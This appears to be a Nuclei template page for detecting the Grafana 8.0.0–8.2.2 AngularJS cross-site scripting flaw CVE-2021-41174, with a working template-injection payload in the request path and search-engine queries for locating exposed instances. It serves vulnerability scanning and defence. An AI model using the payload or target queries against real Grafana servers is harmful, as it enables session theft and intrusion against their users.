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Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting

ID: CVE-2021-41174

Severity: medium

Author: pdteam

Tags: cve2021,cve,grafana,xss

Description

Section titled “Description”

Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim’s browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.

YAML Source

Section titled “YAML Source”
id: CVE-2021-41174


info:
  name: Grafana 8.0.0 <= v.8.2.2 - Angularjs Rendering Cross-Site Scripting
  author: pdteam
  severity: medium
  description: Grafana is an open-source platform for monitoring and observability. In affected versions if an attacker is able to convince a victim to visit a URL referencing a vulnerable page, arbitrary JavaScript content may be executed within the context of the victim's browser. The user visiting the malicious link must be unauthenticated and the link must be for a page that contains the login button in the menu bar. The url has to be crafted to exploit AngularJS rendering and contain the interpolation binding for AngularJS expressions.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the Grafana application.
  remediation: Upgrade to 8.2.3 or higher.
  reference:
    - https://github.com/grafana/grafana/security/advisories/GHSA-3j9m-hcv9-rpj8
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41174
    - https://github.com/grafana/grafana/commit/3cb5214fa45eb5a571fd70d6c6edf0d729983f82
    - https://github.com/grafana/grafana/commit/31b78d51c693d828720a5b285107a50e6024c912
    - https://github.com/grafana/grafana/commit/fb85ed691290d211a5baa44d9a641ab137f0de88
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41174
    cwe-id: CWE-79
    epss-score: 0.96363
    epss-percentile: 0.99558
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve2021,cve,grafana,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard/snapshot/%7B%7Bconstructor.constructor(%27alert(document.domain)%27)()%7D%7D?orgId=1"


    skip-variables-check: true


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Grafana"
          - "frontend_boot_js_done_time_seconds"
        condition: and


      - type: regex
        regex:
          - '"subTitle":"Grafana (v8\.(?:(?:1|0)\.[0-9]|2\.[0-2]))'


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        group: 1
        regex:
          - '"subTitle":"Grafana ([a-z0-9.]+)'
# digest: 4b0a00483046022100841d4de51853e476005c73d7022565b32e3081133ab6d3f219720f0d3942a4fb022100d962ed660b6f7cfd8cc8f9df5c353ed46ca7f552bf7e0e1a88b5d2273a6b060f:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41174.yaml"

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